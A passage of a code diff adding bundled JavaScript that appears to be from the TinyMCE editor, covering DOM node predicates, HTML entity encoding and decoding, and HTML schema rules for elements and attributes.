+    this.current = function () {
+      return node;
+    };
+    this.next = function (shallow) {
+      node = findSibling(node, 'firstChild', 'nextSibling', shallow);
+      return node;
+    };
+    this.prev = function (shallow) {
+      node = findSibling(node, 'lastChild', 'previousSibling', shallow);
+      return node;
+    };
+    this.prev2 = function (shallow) {
+      node = findPreviousNode(node, 'lastChild', 'previousSibling', shallow);
+      return node;
+    };
+  }
+
+  var blocks = [
+    'article',
+    'aside',
+    'details',
+    'div',
+    'dt',
+    'figcaption',
+    'footer',
+    'form',
+    'fieldset',
+    'header',
+    'hgroup',
+    'html',
+    'main',
+    'nav',
+    'section',
+    'summary',
+    'body',
+    'p',
+    'dl',
+    'multicol',
+    'dd',
+    'figure',
+    'address',
+    'center',
+    'blockquote',
+    'h1',
+    'h2',
+    'h3',
+    'h4',
+    'h5',
+    'h6',
+    'listing',
+    'xmp',
+    'pre',
+    'plaintext',
+    'menu',
+    'dir',
+    'ul',
+    'ol',
+    'li',
+    'hr',
+    'table',
+    'tbody',
+    'thead',
+    'tfoot',
+    'th',
+    'tr',
+    'td',
+    'caption'
+  ];
+  var voids = [
+    'area',
+    'base',
+    'basefont',
+    'br',
+    'col',
+    'frame',
+    'hr',
+    'img',
+    'input',
+    'isindex',
+    'link',
+    'meta',
+    'param',
+    'embed',
+    'source',
+    'wbr',
+    'track'
+  ];
+  var tableCells = [
+    'td',
+    'th'
+  ];
+  var tableSections = [
+    'thead',
+    'tbody',
+    'tfoot'
+  ];
+  var textBlocks = [
+    'h1',
+    'h2',
+    'h3',
+    'h4',
+    'h5',
+    'h6',
+    'p',
+    'div',
+    'address',
+    'pre',
+    'form',
+    'blockquote',
+    'center',
+    'dir',
+    'fieldset',
+    'header',
+    'footer',
+    'article',
+    'section',
+    'hgroup',
+    'aside',
+    'nav',
+    'figure'
+  ];
+  var headings = [
+    'h1',
+    'h2',
+    'h3',
+    'h4',
+    'h5',
+    'h6'
+  ];
+  var listItems = [
+    'li',
+    'dd',
+    'dt'
+  ];
+  var lists = [
+    'ul',
+    'ol',
+    'dl'
+  ];
+  var wsElements = [
+    'pre',
+    'script',
+    'textarea',
+    'style'
+  ];
+  var lazyLookup = function (items) {
+    var lookup;
+    return function (node) {
+      lookup = lookup ? lookup : mapToObject(items, constant(true));
+      return lookup.hasOwnProperty($_fxxo5411jjgwe7lq.name(node));
+    };
+  };
+  var isHeading = lazyLookup(headings);
+  var isBlock = lazyLookup(blocks);
+  var isInline = function (node) {
+    return $_fxxo5411jjgwe7lq.isElement(node) && !isBlock(node);
+  };
+  var isBr = function (node) {
+    return $_fxxo5411jjgwe7lq.isElement(node) && $_fxxo5411jjgwe7lq.name(node) === 'br';
+  };
+  var isTextBlock = lazyLookup(textBlocks);
+  var isList = lazyLookup(lists);
+  var isListItem = lazyLookup(listItems);
+  var isVoid = lazyLookup(voids);
+  var isTableSection = lazyLookup(tableSections);
+  var isTableCell = lazyLookup(tableCells);
+  var isWsPreserveElement = lazyLookup(wsElements);
+
+  var isNodeType = function (type) {
+    return function (node) {
+      return !!node && node.nodeType === type;
+    };
+  };
+  var isElement$1 = isNodeType(1);
+  var matchNodeNames = function (names) {
+    var items = names.toLowerCase().split(' ');
+    return function (node) {
+      var i, name;
+      if (node && node.nodeType) {
+        name = node.nodeName.toLowerCase();
+        for (i = 0; i < items.length; i++) {
+          if (name === items[i]) {
+            return true;
+          }
+        }
+      }
+      return false;
+    };
+  };
+  var matchStyleValues = function (name, values) {
+    var items = values.toLowerCase().split(' ');
+    return function (node) {
+      var i, cssValue;
+      if (isElement$1(node)) {
+        for (i = 0; i < items.length; i++) {
+          var computed = node.ownerDocument.defaultView.getComputedStyle(node, null);
+          cssValue = computed ? computed.getPropertyValue(name) : null;
+          if (cssValue === items[i]) {
+            return true;
+          }
+        }
+      }
+      return false;
+    };
+  };
+  var hasPropValue = function (propName, propValue) {
+    return function (node) {
+      return isElement$1(node) && node[propName] === propValue;
+    };
+  };
+  var hasAttribute = function (attrName, attrValue) {
+    return function (node) {
+      return isElement$1(node) && node.hasAttribute(attrName);
+    };
+  };
+  var hasAttributeValue = function (attrName, attrValue) {
+    return function (node) {
+      return isElement$1(node) && node.getAttribute(attrName) === attrValue;
+    };
+  };
+  var isBogus = function (node) {
+    return isElement$1(node) && node.hasAttribute('data-mce-bogus');
+  };
+  var isBogusAll = function (node) {
+    return isElement$1(node) && node.getAttribute('data-mce-bogus') === 'all';
+  };
+  var isTable = function (node) {
+    return isElement$1(node) && node.tagName === 'TABLE';
+  };
+  var hasContentEditableState = function (value) {
+    return function (node) {
+      if (isElement$1(node)) {
+        if (node.contentEditable === value) {
+          return true;
+        }
+        if (node.getAttribute('data-mce-contenteditable') === value) {
+          return true;
+        }
+      }
+      return false;
+    };
+  };
+  var isText$1 = isNodeType(3);
+  var isComment$1 = isNodeType(8);
+  var isDocument$1 = isNodeType(9);
+  var isBr$1 = matchNodeNames('br');
+  var isContentEditableTrue = hasContentEditableState('true');
+  var isContentEditableFalse = hasContentEditableState('false');
+  var $_3b9u2y1rjjgwe7qe = {
+    isText: isText$1,
+    isElement: isElement$1,
+    isComment: isComment$1,
+    isDocument: isDocument$1,
+    isBr: isBr$1,
+    isContentEditableTrue: isContentEditableTrue,
+    isContentEditableFalse: isContentEditableFalse,
+    matchNodeNames: matchNodeNames,
+    hasPropValue: hasPropValue,
+    hasAttribute: hasAttribute,
+    hasAttributeValue: hasAttributeValue,
+    matchStyleValues: matchStyleValues,
+    isBogus: isBogus,
+    isBogusAll: isBogusAll,
+    isTable: isTable
+  };
+
+  var surroundedBySpans = function (node) {
+    var previousIsSpan = node.previousSibling && node.previousSibling.nodeName === 'SPAN';
+    var nextIsSpan = node.nextSibling && node.nextSibling.nodeName === 'SPAN';
+    return previousIsSpan && nextIsSpan;
+  };
+  var isBookmarkNode = function (node) {
+    return node && node.tagName === 'SPAN' && node.getAttribute('data-mce-type') === 'bookmark';
+  };
+  var trimNode = function (dom, node) {
+    var i, children = node.childNodes;
+    if ($_3b9u2y1rjjgwe7qe.isElement(node) && isBookmarkNode(node)) {
+      return;
+    }
+    for (i = children.length - 1; i >= 0; i--) {
+      trimNode(dom, children[i]);
+    }
+    if ($_3b9u2y1rjjgwe7qe.isDocument(node) === false) {
+      if ($_3b9u2y1rjjgwe7qe.isText(node) && node.nodeValue.length > 0) {
+        var trimmedLength = $_6cwiepljjgwe7j4.trim(node.nodeValue).length;
+        if (dom.isBlock(node.parentNode) || trimmedLength > 0) {
+          return;
+        }
+        if (trimmedLength === 0 && surroundedBySpans(node)) {
+          return;
+        }
+      } else if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+        children = node.childNodes;
+        if (children.length === 1 && isBookmarkNode(children[0])) {
+          node.parentNode.insertBefore(children[0], node);
+        }
+        if (children.length || isVoid(Element$$1.fromDom(node))) {
+          return;
+        }
+      }
+      dom.remove(node);
+    }
+    return node;
+  };
+  var $_cu5wx21pjjgwe7pz = { trimNode: trimNode };
+
+  var makeMap$1 = $_6cwiepljjgwe7j4.makeMap;
+  var namedEntities;
+  var baseEntities;
+  var reverseEntities;
+  var attrsCharsRegExp = /[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  var textCharsRegExp = /[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  var rawCharsRegExp = /[<>&\"\']/g;
+  var entityRegExp = /&#([a-z0-9]+);?|&([a-z0-9]+);/gi;
+  var asciiMap = {
+    128: '\u20AC',
+    130: '\u201A',
+    131: '\u0192',
+    132: '\u201E',
+    133: '\u2026',
+    134: '\u2020',
+    135: '\u2021',
+    136: '\u02c6',
+    137: '\u2030',
+    138: '\u0160',
+    139: '\u2039',
+    140: '\u0152',
+    142: '\u017d',
+    145: '\u2018',
+    146: '\u2019',
+    147: '\u201C',
+    148: '\u201D',
+    149: '\u2022',
+    150: '\u2013',
+    151: '\u2014',
+    152: '\u02DC',
+    153: '\u2122',
+    154: '\u0161',
+    155: '\u203A',
+    156: '\u0153',
+    158: '\u017e',
+    159: '\u0178'
+  };
+  baseEntities = {
+    '"': '&quot;',
+    '\'': '&#39;',
+    '<': '&lt;',
+    '>': '&gt;',
+    '&': '&amp;',
+    '`': '&#96;'
+  };
+  reverseEntities = {
+    '&lt;': '<',
+    '&gt;': '>',
+    '&amp;': '&',
+    '&quot;': '"',
+    '&apos;': '\''
+  };
+  var nativeDecode = function (text) {
+    var elm;
+    elm = Element$$1.fromTag('div').dom();
+    elm.innerHTML = text;
+    return elm.textContent || elm.innerText || text;
+  };
+  var buildEntitiesLookup = function (items, radix) {
+    var i, chr, entity;
+    var lookup = {};
+    if (items) {
+      items = items.split(',');
+      radix = radix || 10;
+      for (i = 0; i < items.length; i += 2) {
+        chr = String.fromCharCode(parseInt(items[i], radix));
+        if (!baseEntities[chr]) {
+          entity = '&' + items[i + 1] + ';';
+          lookup[chr] = entity;
+          lookup[entity] = chr;
+        }
+      }
+      return lookup;
+    }
+  };
+  namedEntities = buildEntitiesLookup('50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,' + '5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,' + '5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,' + '5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,' + '68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,' + '6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,' + '6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,' + '75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,' + '7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,' + '7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,' + 'sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,' + 'st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,' + 't9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,' + 'tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,' + 'u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,' + '81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,' + '8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,' + '8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,' + '8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,' + '8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,' + 'nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,' + 'rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,' + 'Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,' + '80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,' + '811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro', 32);
+  var encodeRaw = function (text, attr) {
+    return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function (chr) {
+      return baseEntities[chr] || chr;
+    });
+  };
+  var encodeAllRaw = function (text) {
+    return ('' + text).replace(rawCharsRegExp, function (chr) {
+      return baseEntities[chr] || chr;
+    });
+  };
+  var encodeNumeric = function (text, attr) {
+    return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function (chr) {
+      if (chr.length > 1) {
+        return '&#' + ((chr.charCodeAt(0) - 55296) * 1024 + (chr.charCodeAt(1) - 56320) + 65536) + ';';
+      }
+      return baseEntities[chr] || '&#' + chr.charCodeAt(0) + ';';
+    });
+  };
+  var encodeNamed = function (text, attr, entities) {
+    entities = entities || namedEntities;
+    return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function (chr) {
+      return baseEntities[chr] || entities[chr] || chr;
+    });
+  };
+  var getEncodeFunc = function (name, entities) {
+    var entitiesMap = buildEntitiesLookup(entities) || namedEntities;
+    var encodeNamedAndNumeric = function (text, attr) {
+      return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function (chr) {
+        if (baseEntities[chr] !== undefined) {
+          return baseEntities[chr];
+        }
+        if (entitiesMap[chr] !== undefined) {
+          return entitiesMap[chr];
+        }
+        if (chr.length > 1) {
+          return '&#' + ((chr.charCodeAt(0) - 55296) * 1024 + (chr.charCodeAt(1) - 56320) + 65536) + ';';
+        }
+        return '&#' + chr.charCodeAt(0) + ';';
+      });
+    };
+    var encodeCustomNamed = function (text, attr) {
+      return encodeNamed(text, attr, entitiesMap);
+    };
+    var nameMap = makeMap$1(name.replace(/\+/g, ','));
+    if (nameMap.named && nameMap.numeric) {
+      return encodeNamedAndNumeric;
+    }
+    if (nameMap.named) {
+      if (entities) {
+        return encodeCustomNamed;
+      }
+      return encodeNamed;
+    }
+    if (nameMap.numeric) {
+      return encodeNumeric;
+    }
+    return encodeRaw;
+  };
+  var decode = function (text) {
+    return text.replace(entityRegExp, function (all, numeric) {
+      if (numeric) {
+        if (numeric.charAt(0).toLowerCase() === 'x') {
+          numeric = parseInt(numeric.substr(1), 16);
+        } else {
+          numeric = parseInt(numeric, 10);
+        }
+        if (numeric > 65535) {
+          numeric -= 65536;
+          return String.fromCharCode(55296 + (numeric >> 10), 56320 + (numeric & 1023));
+        }
+        return asciiMap[numeric] || String.fromCharCode(numeric);
+      }
+      return reverseEntities[all] || namedEntities[all] || nativeDecode(all);
+    });
+  };
+  var $_6pqr9q1sjjgwe7qj = {
+    encodeRaw: encodeRaw,
+    encodeAllRaw: encodeAllRaw,
+    encodeNumeric: encodeNumeric,
+    encodeNamed: encodeNamed,
+    getEncodeFunc: getEncodeFunc,
+    decode: decode
+  };
+
+  var mapCache = {};
+  var dummyObj = {};
+  var makeMap$2 = $_6cwiepljjgwe7j4.makeMap;
+  var each$4 = $_6cwiepljjgwe7j4.each;
+  var extend$1 = $_6cwiepljjgwe7j4.extend;
+  var explode$1 = $_6cwiepljjgwe7j4.explode;
+  var inArray$1 = $_6cwiepljjgwe7j4.inArray;
+  var split = function (items, delim) {
+    items = $_6cwiepljjgwe7j4.trim(items);
+    return items ? items.split(delim || ' ') : [];
+  };
+  var compileSchema = function (type) {
+    var schema = {};
+    var globalAttributes, blockContent;
+    var phrasingContent, flowContent, html4BlockContent, html4PhrasingContent;
+    var add = function (name, attributes, children) {
+      var ni, attributesOrder, element;
+      var arrayToMap = function (array, obj) {
+        var map = {};
+        var i, l;
+        for (i = 0, l = array.length; i < l; i++) {
+          map[array[i]] = obj || {};
+        }
+        return map;
+      };
+      children = children || [];
+      attributes = attributes || '';
+      if (typeof children === 'string') {
+        children = split(children);
+      }
+      name = split(name);
+      ni = name.length;
+      while (ni--) {
+        attributesOrder = split([
+          globalAttributes,
+          attributes
+        ].join(' '));
+        element = {
+          attributes: arrayToMap(attributesOrder),
+          attributesOrder: attributesOrder,
+          children: arrayToMap(children, dummyObj)
+        };
+        schema[name[ni]] = element;
+      }
+    };
+    var addAttrs = function (name, attributes) {
+      var ni, schemaItem, i, l;
+      name = split(name);
+      ni = name.length;
+      attributes = split(attributes);
+      while (ni--) {
+        schemaItem = schema[name[ni]];
+        for (i = 0, l = attributes.length; i < l; i++) {
+          schemaItem.attributes[attributes[i]] = {};
+          schemaItem.attributesOrder.push(attributes[i]);
+        }
+      }
+    };
+    if (mapCache[type]) {
+      return mapCache[type];
+    }
+    globalAttributes = 'id accesskey class dir lang style tabindex title role';
+    blockContent = 'address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul';
+    phrasingContent = 'a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd ' + 'label map noscript object q s samp script select small span strong sub sup ' + 'textarea u var #text #comment';
+    if (type !== 'html4') {
+      globalAttributes += ' contenteditable contextmenu draggable dropzone ' + 'hidden spellcheck translate';
+      blockContent += ' article aside details dialog figure header footer hgroup section nav';
+      phrasingContent += ' audio canvas command datalist mark meter output picture ' + 'progress time wbr video ruby bdi keygen';
+    }
+    if (type !== 'html5-strict') {
+      globalAttributes += ' xml:lang';
+      html4PhrasingContent = 'acronym applet basefont big font strike tt';
+      phrasingContent = [
+        phrasingContent,
+        html4PhrasingContent
+      ].join(' ');
+      each$4(split(html4PhrasingContent), function (name) {
+        add(name, '', phrasingContent);
+      });
+      html4BlockContent = 'center dir isindex noframes';
+      blockContent = [
+        blockContent,
+        html4BlockContent
+      ].join(' ');
+      flowContent = [
+        blockContent,
+        phrasingContent
+      ].join(' ');
+      each$4(split(html4BlockContent), function (name) {
+        add(name, '', flowContent);
+      });
+    }
+    flowContent = flowContent || [
+      blockContent,
+      phrasingContent
+    ].join(' ');
+    add('html', 'manifest', 'head body');
+    add('head', '', 'base command link meta noscript script style title');
+    add('title hr noscript br');
+    add('base', 'href target');
+    add('link', 'href rel media hreflang type sizes hreflang');
+    add('meta', 'name http-equiv content charset');
+    add('style', 'media type scoped');
+    add('script', 'src async defer type charset');
+    add('body', 'onafterprint onbeforeprint onbeforeunload onblur onerror onfocus ' + 'onhashchange onload onmessage onoffline ononline onpagehide onpageshow ' + 'onpopstate onresize onscroll onstorage onunload', flowContent);
+    add('address dt dd div caption', '', flowContent);
+    add('h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn', '', phrasingContent);
+    add('blockquote', 'cite', flowContent);
+    add('ol', 'reversed start type', 'li');
+    add('ul', '', 'li');
+    add('li', 'value', flowContent);
+    add('dl', '', 'dt dd');
+    add('a', 'href target rel media hreflang type', phrasingContent);
+    add('q', 'cite', phrasingContent);
+    add('ins del', 'cite datetime', flowContent);
+    add('img', 'src sizes srcset alt usemap ismap width height');
+    add('iframe', 'src name width height', flowContent);
+    add('embed', 'src type width height');
+    add('object', 'data type typemustmatch name usemap form width height', [
+      flowContent,
+      'param'
+    ].join(' '));
+    add('param', 'name value');
+    add('map', 'name', [
+      flowContent,
+      'area'
+    ].join(' '));
+    add('area', 'alt coords shape href target rel media hreflang type');
+    add('table', 'border', 'caption colgroup thead tfoot tbody tr' + (type === 'html4' ? ' col' : ''));
+    add('colgroup', 'span', 'col');
+    add('col', 'span');
+    add('tbody thead tfoot', '', 'tr');
+    add('tr', '', 'td th');
+    add('td', 'colspan rowspan headers', flowContent);
+    add('th', 'colspan rowspan headers scope abbr', flowContent);
+    add('form', 'accept-charset action autocomplete enctype method name novalidate target', flowContent);
+    add('fieldset', 'disabled form name', [
+      flowContent,
+      'legend'
+    ].join(' '));
+    add('label', 'form for', phrasingContent);
+    add('input', 'accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate ' + 'formtarget height list max maxlength min multiple name pattern readonly required size src step type value width');
+    add('button', 'disabled form formaction formenctype formmethod formnovalidate formtarget name type value', type === 'html4' ? flowContent : phrasingContent);
+    add('select', 'disabled form multiple name required size', 'option optgroup');
+    add('optgroup', 'disabled label', 'option');
+    add('option', 'disabled label selected value');
+    add('textarea', 'cols dirname disabled form maxlength name readonly required rows wrap');
+    add('menu', 'type label', [
+      flowContent,
+      'li'
+    ].join(' '));
+    add('noscript', '', flowContent);
+    if (type !== 'html4') {
+      add('wbr');
+      add('ruby', '', [
+        phrasingContent,
+        'rt rp'
+      ].join(' '));
+      add('figcaption', '', flowContent);
+      add('mark rt rp summary bdi', '', phrasingContent);
+      add('canvas', 'width height', flowContent);
+      add('video', 'src crossorigin poster preload autoplay mediagroup loop ' + 'muted controls width height buffered', [
+        flowContent,
+        'track source'
+      ].join(' '));
+      add('audio', 'src crossorigin preload autoplay mediagroup loop muted controls ' + 'buffered volume', [
+        flowContent,
+        'track source'
+      ].join(' '));
+      add('picture', '', 'img source');
+      add('source', 'src srcset type media sizes');
+      add('track', 'kind src srclang label default');
+      add('datalist', '', [
+        phrasingContent,
+        'option'
+      ].join(' '));
+      add('article section nav aside header footer', '', flowContent);
+      add('hgroup', '', 'h1 h2 h3 h4 h5 h6');
+      add('figure', '', [
+        flowContent,
+        'figcaption'
+      ].join(' '));
+      add('time', 'datetime', phrasingContent);
+      add('dialog', 'open', flowContent);
+      add('command', 'type label icon disabled checked radiogroup command');
+      add('output', 'for form name', phrasingContent);
+      add('progress', 'value max', phrasingContent);
+      add('meter', 'value min max low high optimum', phrasingContent);
+      add('details', 'open', [
+        flowContent,
+        'summary'
+      ].join(' '));
+      add('keygen', 'autofocus challenge disabled form keytype name');
+    }
+    if (type !== 'html5-strict') {
+      addAttrs('script', 'language xml:space');
+      addAttrs('style', 'xml:space');
+      addAttrs('object', 'declare classid code codebase codetype archive standby align border hspace vspace');
+      addAttrs('embed', 'align name hspace vspace');
+      addAttrs('param', 'valuetype type');
+      addAttrs('a', 'charset name rev shape coords');
+      addAttrs('br', 'clear');
+      addAttrs('applet', 'codebase archive code object alt name width height align hspace vspace');
+      addAttrs('img', 'name longdesc align border hspace vspace');
+      addAttrs('iframe', 'longdesc frameborder marginwidth marginheight scrolling align');
+      addAttrs('font basefont', 'size color face');
+      addAttrs('input', 'usemap align');
+      addAttrs('select', 'onchange');
+      addAttrs('textarea');
+      addAttrs('h1 h2 h3 h4 h5 h6 div p legend caption', 'align');
+      addAttrs('ul', 'type compact');
+      addAttrs('li', 'type');
+      addAttrs('ol dl menu dir', 'compact');
+      addAttrs('pre', 'width xml:space');
+      addAttrs('hr', 'align noshade size width');
+      addAttrs('isindex', 'prompt');
+      addAttrs('table', 'summary width frame rules cellspacing cellpadding align bgcolor');
+      addAttrs('col', 'width align char charoff valign');
+      addAttrs('colgroup', 'width align char charoff valign');
+      addAttrs('thead', 'align char charoff valign');
+      addAttrs('tr', 'align char charoff valign bgcolor');
+      addAttrs('th', 'axis align char charoff valign nowrap bgcolor width height');
+      addAttrs('form', 'accept');
+      addAttrs('td', 'abbr axis scope align char charoff valign nowrap bgcolor width height');
+      addAttrs('tfoot', 'align char charoff valign');
+      addAttrs('tbody', 'align char charoff valign');
+      addAttrs('area', 'nohref');
+      addAttrs('body', 'background bgcolor text link vlink alink');
+    }
+    if (type !== 'html4') {
+      addAttrs('input button select textarea', 'autofocus');
+      addAttrs('input textarea', 'placeholder');
+      addAttrs('a', 'download');
+      addAttrs('link script img', 'crossorigin');
+      addAttrs('iframe', 'sandbox seamless allowfullscreen');
+    }
+    each$4(split('a form meter progress dfn'), function (name) {
+      if (schema[name]) {
+        delete schema[name].children[name];
+      }
+    });
+    delete schema.caption.children.table;
+    delete schema.script;
+    mapCache[type] = schema;
+    return schema;
+  };
+  var compileElementMap = function (value, mode) {
+    var styles;
+    if (value) {
+      styles = {};
+      if (typeof value === 'string') {
+        value = { '*': value };
+      }
+      each$4(value, function (value, key) {
+        styles[key] = styles[key.toUpperCase()] = mode === 'map' ? makeMap$2(value, /[, ]/) : explode$1(value, /[, ]/);
+      });
+    }
+    return styles;
+  };
+  function Schema(settings) {
+    var elements = {};
+    var children = {};
+    var patternElements = [];
+    var validStyles;
+    var invalidStyles;
+    var schemaItems;
+    var whiteSpaceElementsMap, selfClosingElementsMap, shortEndedElementsMap, boolAttrMap, validClasses;
+    var blockElementsMap, nonEmptyElementsMap, moveCaretBeforeOnEnterElementsMap, textBlockElementsMap, textInlineElementsMap;
+    var customElementsMap = {}, specialElements = {};
+    var createLookupTable = function (option, defaultValue, extendWith) {
+      var value = settings[option];
+      if (!value) {
+        value = mapCache[option];
+        if (!value) {
+          value = makeMap$2(defaultValue, ' ', makeMap$2(defaultValue.toUpperCase(), ' '));
+          value = extend$1(value, extendWith);
+          mapCache[option] = value;
+        }
+      } else {
+        value = makeMap$2(value, /[, ]/, makeMap$2(value.toUpperCase(), /[, ]/));
+      }
+      return value;
+    };
+    settings = settings || {};
+    schemaItems = compileSchema(settings.schema);
+    if (settings.verify_html === false) {
+      settings.valid_elements = '*[*]';
+    }
+    validStyles = compileElementMap(settings.valid_styles);
+    invalidStyles = compileElementMap(settings.invalid_styles, 'map');
+    validClasses = compileElementMap(settings.valid_classes, 'map');
+    whiteSpaceElementsMap = createLookupTable('whitespace_elements', 'pre script noscript style textarea video audio iframe object code');
+    selfClosingElementsMap = createLookupTable('self_closing_elements', 'colgroup dd dt li option p td tfoot th thead tr');
+    shortEndedElementsMap = createLookupTable('short_ended_elements', 'area base basefont br col frame hr img input isindex link ' + 'meta param embed source wbr track');
+    boolAttrMap = createLookupTable('boolean_attributes', 'checked compact declare defer disabled ismap multiple nohref noresize ' + 'noshade nowrap readonly selected autoplay loop controls');
+    nonEmptyElementsMap = createLookupTable('non_empty_elements', 'td th iframe video audio object ' + 'script pre code', shortEndedElementsMap);
+    moveCaretBeforeOnEnterElementsMap = createLookupTable('move_caret_before_on_enter_elements', 'table', nonEmptyElementsMap);
+    textBlockElementsMap = createLookupTable('text_block_elements', 'h1 h2 h3 h4 h5 h6 p div address pre form ' + 'blockquote center dir fieldset header footer article section hgroup aside nav figure');
+    blockElementsMap = createLookupTable('block_elements', 'hr table tbody thead tfoot ' + 'th tr td li ol ul caption dl dt dd noscript menu isindex option ' + 'datalist select optgroup figcaption details summary', textBlockElementsMap);
+    textInlineElementsMap = createLookupTable('text_inline_elements', 'span strong b em i font strike u var cite ' + 'dfn code mark q sup sub samp');
+    each$4((settings.special || 'script noscript noframes noembed title style textarea xmp').split(' '), function (name) {
+      specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
+    });
+    var patternToRegExp = function (str) {
+      return new RegExp('^' + str.replace(/([?+*])/g, '.$1') + '$');
+    };
+    var addValidElements = function (validElements) {
+      var ei, el, ai, al, matches, element, attr, attrData, elementName, attrName, attrType, attributes, attributesOrder, prefix, outputName, globalAttributes, globalAttributesOrder, key, value;
+      var elementRuleRegExp = /^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/, attrRuleRegExp = /^([!\-])?(\w+[\\:]:\w+|[^=:<]+)?(?:([=:<])(.*))?$/, hasPatternsRegExp = /[*?+]/;
+      if (validElements) {
+        validElements = split(validElements, ',');
+        if (elements['@']) {
+          globalAttributes = elements['@'].attributes;
+          globalAttributesOrder = elements['@'].attributesOrder;
+        }
+        for (ei = 0, el = validElements.length; ei < el; ei++) {
+          matches = elementRuleRegExp.exec(validElements[ei]);
+          if (matches) {
+            prefix = matches[1];
+            elementName = matches[2];
+            outputName = matches[3];
+            attrData = matches[5];
+            attributes = {};
+            attributesOrder = [];
+            element = {
+              attributes: attributes,
+              attributesOrder: attributesOrder
+            };
+            if (prefix === '#') {
+              element.paddEmpty = true;
+            }
+            if (prefix === '-') {
+              element.removeEmpty = true;
+            }
+            if (matches[4] === '!') {
+              element.removeEmptyAttrs = true;
+            }
+            if (globalAttributes) {
+              for (key in globalAttributes) {
+                attributes[key] = globalAttributes[key];
+              }
+              attributesOrder.push.apply(attributesOrder, globalAttributesOrder);
+            }
+            if (attrData) {
+              attrData = split(attrData, '|');
+              for (ai = 0, al = attrData.length; ai < al; ai++) {
+                matches = attrRuleRegExp.exec(attrData[ai]);
+                if (matches) {
+                  attr = {};
+                  attrType = matches[1];
+                  attrName = matches[2].replace(/[\\:]:/g, ':');
+                  prefix = matches[3];
+                  value = matches[4];
+                  if (attrType === '!') {
+                    element.attributesRequired = element.attributesRequired || [];
+                    element.attributesRequired.push(attrName);
+                    attr.required = true;
+                  }
+                  if (attrType === '-') {
+                    delete attributes[attrName];
+                    attributesOrder.splice(inArray$1(attributesOrder, attrName), 1);
+                    continue;
+                  }
+                  if (prefix) {
+                    if (prefix === '=') {
+                      element.attributesDefault = element.attributesDefault || [];
+                      element.attributesDefault.push({
+                        name: attrName,
+                        value: value
+                      });
+                      attr.defaultValue = value;
+                    }
+                    if (prefix === ':') {
+                      element.attributesForced = element.attributesForced || [];
+                      element.attributesForced.push({
+                        name: attrName,
+                        value: value
+                      });
+                      attr.forcedValue = value;
+                    }
+                    if (prefix === '<') {
+                      attr.validValues = makeMap$2(value, '?');
+                    }
+                  }
+                  if (hasPatternsRegExp.test(attrName)) {
